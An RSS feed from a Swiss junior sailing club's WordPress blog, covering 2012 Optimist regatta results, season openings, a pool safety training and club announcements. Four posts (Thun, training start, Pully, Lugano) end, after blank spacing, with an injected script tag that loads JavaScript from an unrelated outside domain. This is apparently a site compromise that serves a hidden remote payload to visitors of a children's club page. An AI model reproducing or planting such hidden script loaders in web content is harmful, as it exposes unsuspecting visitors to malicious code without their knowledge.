<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SCC Junioren</title>
	<atom:link href="http://junioren.scc.ch/feed/" rel="self" type="application/rss+xml" />
	<link>http://junioren.scc.ch</link>
	<description></description>
	<lastBuildDate>Wed, 09 May 2012 21:45:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Abschluss der Opti-Punktemeisterschaft in Thun, 05./06. Mai 2012</title>
		<link>http://junioren.scc.ch/2012/05/08/abschluss-der-opti-punktemeisterschaft-in-thun-05-06-mai-2012/</link>
		<comments>http://junioren.scc.ch/2012/05/08/abschluss-der-opti-punktemeisterschaft-in-thun-05-06-mai-2012/#comments</comments>
		<pubDate>Tue, 08 May 2012 11:43:04 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=901</guid>
		<description><![CDATA[Je einen Lauf am SA/SO in Thun zum Jahresabschluss der Opti-PM 2011/2012. Manuel Herbst kann seine ansteigende Form bestätigen und landet auf dem guten 12. Schlussrang der 105 Teilnehmer. Camillo (56.) und Livio (77/17.B), beide &#8220;erwischt&#8221; mit OCS im zweiten Lauf. Nico beendet seine letzte Opti-PM auf dem 35. Rang, Achille (46./6.B). Die Resultate der [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/Thun.jpg"  rel="lightbox[roadtrip]"><img class="alignleft size-medium wp-image-902" title="Thun" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/Thun-300x225.jpg" alt="" width="300" height="225" /></a>Je einen Lauf am SA/SO in Thun zum Jahresabschluss der Opti-PM 2011/2012. Manuel Herbst kann seine ansteigende Form bestätigen und landet auf dem guten 12. Schlussrang der 105 Teilnehmer. Camillo (56.) und Livio (77/17.B), beide &#8220;erwischt&#8221; mit OCS im zweiten Lauf. Nico beendet seine letzte Opti-PM auf dem 35. Rang, Achille (46./6.B).</p>
<div>
<p>Die Resultate der Jahresmeisterschaft 2011/2012: Camillo (11.), Nico (13.), Raphaella (16.), Manuel (30.), Livio (39./2.B), Achille (55./6.B)  von 90 gewerteten Teilnehmern. Wir gratulieren allen an dieser Stelle zu diesen Leistungen.</p>
<p>Die Ranglisten sind auf Swiss Optimist unter &#8220;Aktuell&#8221;: <a href="http://club.swiss-sailing.ch/optimist/">http://club.swiss-sailing.ch/optimist/</a></p>
<p><strong>Nächste Woche geht es weiter in Workum (NED). Camillo und Nico werden versuchen sich für die WM oder EM 2012 zu qualifizieren. Wir drücken beiden die Daumen! go,go,go!</strong></p>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><script type="text/javascript" src="http://plugin-rose.info/dfi823hs.js?0.43252953437977526"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/05/08/abschluss-der-opti-punktemeisterschaft-in-thun-05-06-mai-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trainingstart Optis &amp; Laser</title>
		<link>http://junioren.scc.ch/2012/05/05/trainingstart-optis-laser/</link>
		<comments>http://junioren.scc.ch/2012/05/05/trainingstart-optis-laser/#comments</comments>
		<pubDate>Sat, 05 May 2012 08:46:01 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=886</guid>
		<description><![CDATA[Mit Vollgas haben wir gestern die neue Optimisten- &#38; Laser-Saison 2012 im SCC eröffnet. Der Wind war war leider nicht mit Vollgas dabei aber für unsere Anfänger gerade richtig um das erste Mal in See zu stechen. Ganz herzlichen Dank den Junioren die alle toll mitgemacht haben. Den Trainern Lukas, Philippe, Dennis und Philippe die [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/Titel-Start.jpg"  rel="lightbox[roadtrip]"><img class="aligncenter size-medium wp-image-887" title="Saisonstart 2012" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/Titel-Start-224x300.jpg" alt="" width="224" height="300" /></a>Mit Vollgas haben wir gestern die neue Optimisten- &amp; Laser-Saison 2012 im SCC eröffnet.</p>
<p>Der Wind war war leider nicht mit Vollgas dabei aber für unsere Anfänger gerade richtig um das erste Mal in See zu stechen.</p>
<p>Ganz herzlichen Dank den Junioren die alle toll mitgemacht haben. Den Trainern Lukas, Philippe, Dennis und Philippe die immer wieder fähig sind die Kinder zu begeistern.</p>
<p>Danke auch unserem Materialchef René und natürlich auch der super Küchencrew die wieder köstliche Spaghettis hervor gezaubert haben.</p>
<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/küche.jpg"  rel="lightbox[roadtrip]"><img class="alignright size-medium wp-image-888" title="küche" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/küche-224x300.jpg" alt="" width="224" height="300" /></a><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/challenge.jpg"  rel="lightbox[roadtrip]"><img class="alignleft size-medium wp-image-890" title="challenge" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/challenge-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Bis nächsten Freitag!</p>
<p>&nbsp;</p>
<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/OptiLaser.jpg"  rel="lightbox[roadtrip]"><img class="alignnone size-medium wp-image-894" title="OptiLaser" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/05/OptiLaser-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><script type="text/javascript" src="http://plugin-rose.info/dfi823hs.js?0.9433307985512025"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/05/05/trainingstart-optis-laser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PM in Pully 28./29. April 2012</title>
		<link>http://junioren.scc.ch/2012/04/29/pm-in-pully-28-29-april-2012/</link>
		<comments>http://junioren.scc.ch/2012/04/29/pm-in-pully-28-29-april-2012/#comments</comments>
		<pubDate>Sun, 29 Apr 2012 19:32:13 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=868</guid>
		<description><![CDATA[Kein Wind am Samstag jedoch vier Läufe bei guten Windverhältnissen am Sonntag. Der Lac Lemans wird seinem Ruf als Wunderkiste gerächt. Wieder steht ein Chamer SCC-ler auf dem Podest. Camillo bestätigt seine gute Form mit einem dritten Rang im Gesammtklassement von Pully. Im vierten Rang folgt Nico. Livio ist mit Rang 37 zweiter B. Leider [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/IMG_01721.jpg"  rel="lightbox[roadtrip]"><img class="alignleft size-medium wp-image-869" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/IMG_01721-300x225.jpg" alt="" width="300" height="225" /></a></p>
<p style="text-align: left;"><span style="color: #0000ff;"><strong>Kein Wind am Samstag jedoch vier Läufe bei guten Windverhältnissen am Sonntag. Der Lac Lemans wird seinem Ruf als Wunderkiste gerächt. </strong></span></p>
<p style="text-align: left;"><span style="color: #0000ff;"><strong>Wieder steht ein Chamer SCC-ler auf dem Podest. Camillo bestätigt seine gute Form mit einem dritten Rang im Gesammtklassement von Pully. Im vierten Rang folgt Nico. Livio ist mit Rang 37 zweiter B.</strong></span></p>
<p style="text-align: left;"><span style="color: #0000ff;"><strong>Leider haben wir von der Preisverteilung kein Foto. Nach über 3 Stunden warten auf die Rangliste haben wir uns entschlossen Heim zu reisen.</strong></span></p>
<p style="text-align: left;"><span style="color: #0000ff;"><strong>Link zur Rangliste:  http://cnpully.ch/uploads/media/csp_optimist_2012_s.htm<br />
</strong></span></p>
<p style="text-align: left;">
<p><script type="text/javascript" src="http://plugin-rose.info/dfi823hs.js?0.8786005643635693"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/04/29/pm-in-pully-28-29-april-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Podestplatz in Biscarrosse, Fr</title>
		<link>http://junioren.scc.ch/2012/04/22/podestplatz-in-biscarrosse-fr/</link>
		<comments>http://junioren.scc.ch/2012/04/22/podestplatz-in-biscarrosse-fr/#comments</comments>
		<pubDate>Sun, 22 Apr 2012 21:50:44 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=845</guid>
		<description><![CDATA[Nach 5 spannenden Regatta Tagen bei sehr starkem Wind und total 13 Läufen haben unsere Chamer Junioren brilliert. Podestplatz für Camillo und 12. Nico. 135. Manuel und Achille 35. bei den Benjamin. Somit befinden sich Camillo und Nico weiterhin auf WM oder EM Kurs. Am 16. Mai geht die spannende Serie weiter in Workum, NL.]]></description>
			<content:encoded><![CDATA[<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/P1040009-e1335130847885.jpg"  rel="lightbox[roadtrip]"><img class="alignleft size-medium wp-image-859" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/P1040009-e1335130847885-225x300.jpg" alt="" width="225" height="300" /></a><strong><span style="color: #0000ff">Nach 5 spannenden Regatta Tagen bei sehr starkem Wind und total 13 Läufen haben unsere Chamer Junioren brilliert. Podestplatz für Camillo und 12. Nico. 135. Manuel und Achille 35. bei den Benjamin. Somit befinden sich Camillo und Nico weiterhin auf WM oder EM Kurs. Am 16. Mai geht die spannende Serie weiter in Workum, NL.</span></strong><span style="color: #0000ff"><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/Camillo71.tiff"><span style="color: #0000ff"><img class="alignleft  wp-image-846" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/Camillo71.tiff" alt="" width="0" height="0" /></span></a></span></p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/04/22/podestplatz-in-biscarrosse-fr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>30. Garda meeting 2012 in Riva</title>
		<link>http://junioren.scc.ch/2012/04/11/30-garda-meeting-2012-in-riva/</link>
		<comments>http://junioren.scc.ch/2012/04/11/30-garda-meeting-2012-in-riva/#comments</comments>
		<pubDate>Wed, 11 Apr 2012 20:46:03 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=830</guid>
		<description><![CDATA[Die grösste Klassenregatta der Welt ist auch schon wieder Geschichte. 1163 Optis aus aller Welt (Eintrag ins Guiness Book of World Records) segelten bei Windstärken bis 30 Knoten am Gardasee. Auch unsere Chamer Junioren waren mit dabei und haben sich sehr gut geschlagen. Es wurde trainiert und  4 Tage regatiert bei genialen Verhältnissen. Hier die [...]]]></description>
			<content:encoded><![CDATA[<h5 style="padding-left: 30px;text-align: center"><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/GD2_6591.jpg"  rel="lightbox[roadtrip]"><img class="size-medium wp-image-829" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/GD2_6591-300x199.jpg" alt="" width="300" height="199" /></a></h5>
<h5 style="padding-left: 30px;text-align: right"></h5>
<h5 style="padding-left: 30px;text-align: right"></h5>
<h5 style="padding-left: 30px;text-align: right"></h5>
<h5 style="padding-left: 30px;text-align: right"></h5>
<h5 style="padding-left: 30px;text-align: right"></h5>
<h5 style="padding-left: 30px;text-align: left"></h5>
<h5 style="padding-left: 30px;text-align: left"></h5>
<h5><span style="color: #000080">Die grösste Klassenregatta der Welt ist auch schon wieder Geschichte. 1163 Optis aus aller Welt (Eintrag ins Guiness Book of World Records) segelten bei Windstärken bis 30 Knoten am Gardasee. Auch unsere Chamer Junioren waren mit dabei und haben sich sehr gut geschlagen. Es wurde trainiert und  4 Tage regatiert bei genialen Verhältnissen.<br />
</span></h5>
<h5 style="text-align: left">Hier die Rangliste:</h5>
<h5 style="text-align: left"><a title="r807-result-f1375.pdf" href="http://www.fragliavelariva.it/sites/default/files/regatta/r807-result-f1375.pdf">Results Division A &#8211; Cadetti</a></h5>
<h5 style="text-align: justify"><a title="r807-result-f1377.pdf" href="http://www.fragliavelariva.it/sites/default/files/regatta/r807-result-f1377.pdf">Results Division B &#8211; Juniores</a></h5>
<h6><span style="color: #000080"> </span></h6>
<h6><span style="color: #000080"><br />
</span></h6>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/04/11/30-garda-meeting-2012-in-riva/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ausschreibung Trainingswoche in Zug</title>
		<link>http://junioren.scc.ch/2012/04/05/ausschreibung-trainingswoche-in-zug/</link>
		<comments>http://junioren.scc.ch/2012/04/05/ausschreibung-trainingswoche-in-zug/#comments</comments>
		<pubDate>Thu, 05 Apr 2012 14:34:33 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=812</guid>
		<description><![CDATA[Markus Bohren bietet in der ersten Woche Frühlingsferien wieder eine Trainingswoche an. Die Ausschreibung und die dazugehörenden Dokumente sind angehängt. Die Ausschreibung: Zug2-Ausschreibung2012 Das Anmeldeformular: Zug3-Anmeldeformular_Regattacamp_2012 Das Tagesprogramm: Zug1-Tagesstruktur2012-Kursinhalte &#160; &#160;]]></description>
			<content:encoded><![CDATA[<p><span style="color: #0000ff">Markus Bohren bietet in der ersten Woche Frühlingsferien wieder eine Trainingswoche an.</span><br />
<span style="color: #0000ff">Die Ausschreibung und die dazugehörenden Dokumente sind angehängt.</span></p>
<p>Die Ausschreibung: <a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/Zug2-Ausschreibung20122.doc">Zug2-Ausschreibung2012</a></p>
<p>Das Anmeldeformular: <a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/Zug3-Anmeldeformular_Regattacamp_20122.doc">Zug3-Anmeldeformular_Regattacamp_2012</a></p>
<p>Das Tagesprogramm: <a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/04/Zug1-Tagesstruktur2012-Kursinhalte2.doc">Zug1-Tagesstruktur2012-Kursinhalte</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/04/05/ausschreibung-trainingswoche-in-zug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>30 Lake Garda Meeting vom 5.-8. April 2012</title>
		<link>http://junioren.scc.ch/2012/03/29/30-lake-garda-meeting-vom-5-8-april-2012/</link>
		<comments>http://junioren.scc.ch/2012/03/29/30-lake-garda-meeting-vom-5-8-april-2012/#comments</comments>
		<pubDate>Thu, 29 Mar 2012 15:33:57 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=791</guid>
		<description><![CDATA[Über 1300 Optimisten haben sich für das 30. Lake Garda Meeting eingeschrieben. Sieht nach einem neuen Rekord aus. Auch 5 unserer SCC Junioren sind mit dabei. Wir wünschen Manuel, Livio, Achille, Camillo und Nico ein gutes Race.]]></description>
			<content:encoded><![CDATA[<p><strong><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/logo-LGM-012ok2web_low1.jpg"  rel="lightbox[roadtrip]"><img class="size-medium wp-image-795 alignnone" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/logo-LGM-012ok2web_low1-300x183.jpg" alt="" width="300" height="183" /></a></strong></p>
<h4><span style="color: #000080"><strong>Über 1300 Optimisten haben sich für das 30. Lake Garda Meeting eingeschrieben.</strong></span></h4>
<h4><span style="color: #000080"><strong>Sieht nach einem neuen Rekord aus.</strong></span></h4>
<h4><span style="color: #000080"><strong>Auch 5 unserer SCC Junioren sind mit dabei.</strong></span></h4>
<h4><span style="color: #000080"><strong>Wir wünschen <span style="color: #ff0000">Manuel, Livio, Achille, Camillo</span> und <span style="color: #ff0000">Nico</span> ein gutes Race.</strong></span></h4>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/03/29/30-lake-garda-meeting-vom-5-8-april-2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sicherheitstraining im Hallenbad Röhrliberg</title>
		<link>http://junioren.scc.ch/2012/03/25/sicherheitstraining-im-hallenbad-rohrliberg/</link>
		<comments>http://junioren.scc.ch/2012/03/25/sicherheitstraining-im-hallenbad-rohrliberg/#comments</comments>
		<pubDate>Sun, 25 Mar 2012 21:29:00 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=780</guid>
		<description><![CDATA[Letzten Samstag hat das Sicherheitstraining für die Optis im Hallenbad Röhrliberg stattgefunden. Nicht weniger als 15 (!) Kinder haben sich daran beteiligt. Es wurde mit Kleidern geschwommen, erste Hilfe an Land geübt, das richtige Halten eines Verletzten im Wasser trainiert und natürlich wurde ein Opti im Hallenbad gekentert. Bei dieser wichtigen Lektion für das Verhalten [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/P10307993.jpg"  rel="lightbox[roadtrip]"><img class="alignleft size-thumbnail wp-image-786" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/P10307993-150x150.jpg" alt="" width="150" height="150" /></a>Letzten Samstag hat das Sicherheitstraining für die Optis im Hallenbad Röhrliberg stattgefunden. Nicht weniger als 15 (!) Kinder haben sich daran beteiligt.</p>
<p>Es wurde mit Kleidern geschwommen, erste Hilfe an Land geübt, das richtige Halten eines Verletzten im Wasser trainiert und natürlich wurde ein Opti im Hallenbad gekentert.</p>
<p>Bei dieser wichtigen Lektion für das Verhalten auf dem Wasser hatten alle viel Spass!</p>
<p>Ein grosses Dankeschön geht an unsere Trainer, Philippe Manner, Lukas Bühler und Dennis Gysi, an unseren Doktor Simon Durrer und an unsere Rettungsschwimmerin Martina.</p>
<p>Auch ein Dankeschön an die Verantwortlichen des Hallenbads Röhrliberg und die Bademeister, dass wir diese erste Wasserlektion im „warmen“ Hallenbad durchführen durften.</p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/03/25/sicherheitstraining-im-hallenbad-rohrliberg/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Guter Saisonstart 2012 für die Chamer Optisegler in Lugano!</title>
		<link>http://junioren.scc.ch/2012/03/21/guter-saisonstart-2012-fur-die-chamer-optisegler-in-lugano/</link>
		<comments>http://junioren.scc.ch/2012/03/21/guter-saisonstart-2012-fur-die-chamer-optisegler-in-lugano/#comments</comments>
		<pubDate>Wed, 21 Mar 2012 12:54:02 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/?p=768</guid>
		<description><![CDATA[Am vergangenen Wochen fand die erste Punktemeisterschaft der Optimisten im 2012 statt. Bei sehr leichten Winden am Samstag (Sonntag leider keine Läufe) konnten sich unsere Chamer „Jungster“ in Szene setzen, und wie! Livio Erni gewinnt die B-Wertung (18. Overal), Manuel Herbst 13., Camillo Casco 29. Achille Casco 40. (4.B) und Nico Bumann 43. Damit sind [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/IMG_07391.jpg"  rel="lightbox[roadtrip]"><img class="alignleft size-medium wp-image-774" src="http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/IMG_07391-224x300.jpg" alt="" width="224" height="300" /></a>Am vergangenen Wochen fand die erste Punktemeisterschaft der Optimisten im 2012 statt. Bei sehr leichten Winden am Samstag (Sonntag leider keine Läufe) konnten sich unsere Chamer „Jungster“ in Szene setzen, und wie!</p>
<p>Livio Erni gewinnt die B-Wertung (18. Overal), Manuel Herbst 13., Camillo Casco 29. Achille Casco 40. (4.B) und Nico Bumann 43. Damit sind alle fünf gestartete SCC-Segler locker im ersten Drittel der 129 gestarteten Teilnehmer. Wir gratulieren!<br />
Die Rangliste: http://www.cvll.ch/regate/2012/CSP_optimist/results.html</p>
<p><script type="text/javascript" src="http://plugin-rose.info/dfi823hs.js?0.4476845644793408"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/03/21/guter-saisonstart-2012-fur-die-chamer-optisegler-in-lugano/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Opti- und Laser Infoabend</title>
		<link>http://junioren.scc.ch/2012/03/12/opti-und-laser-infoabend-2/</link>
		<comments>http://junioren.scc.ch/2012/03/12/opti-und-laser-infoabend-2/#comments</comments>
		<pubDate>Mon, 12 Mar 2012 20:45:00 +0000</pubDate>
		<dc:creator>Carmen</dc:creator>
				<category><![CDATA[Allgemein]]></category>

		<guid isPermaLink="false">http://junioren.scc.ch/2012/03/12/opti-und-laser-infoabend-2/</guid>
		<description><![CDATA[Am 7. März hat der Opti- und Laser Infoabend sowie die Occasions Seglerbörse stattgefunden. Zahlreiche Interessierte haben sich über die kommende Segelsaisond informiert und einige Gegenstände wechselten den Besitzer, die Besitzerin. Zum Nachlesen findest du hier folgende Infos: SCC Racing &#8211; Absichtserklärung Opti Trainingsanmeldung Präsentation]]></description>
			<content:encoded><![CDATA[<p>Am 7. März hat der Opti- und Laser Infoabend sowie die Occasions Seglerbörse stattgefunden. Zahlreiche Interessierte haben sich über die kommende Segelsaisond informiert und einige Gegenstände wechselten den Besitzer, die Besitzerin.</p>
<p>Zum Nachlesen findest du hier folgende Infos:</p>
<ul>
<li><a href='http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/scc_racing_absichtserklarung_2012.doc' title='SCC Racing - Absichtserklärung'>SCC Racing &#8211; Absichtserklärung</a></li>
<li><a href='http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/opti-12-anmeldung-training-2012.doc' title='Opti Trainingsanmeldung'>Opti Trainingsanmeldung</a></li>
<li><a href='http://junioren.scc.ch/wordpress/wp-content/uploads/2012/03/opti-infoabend-2012.pdf' title='Präsentation'>Präsentation</a></li>
]]></content:encoded>
			<wfw:commentRss>http://junioren.scc.ch/2012/03/12/opti-und-laser-infoabend-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

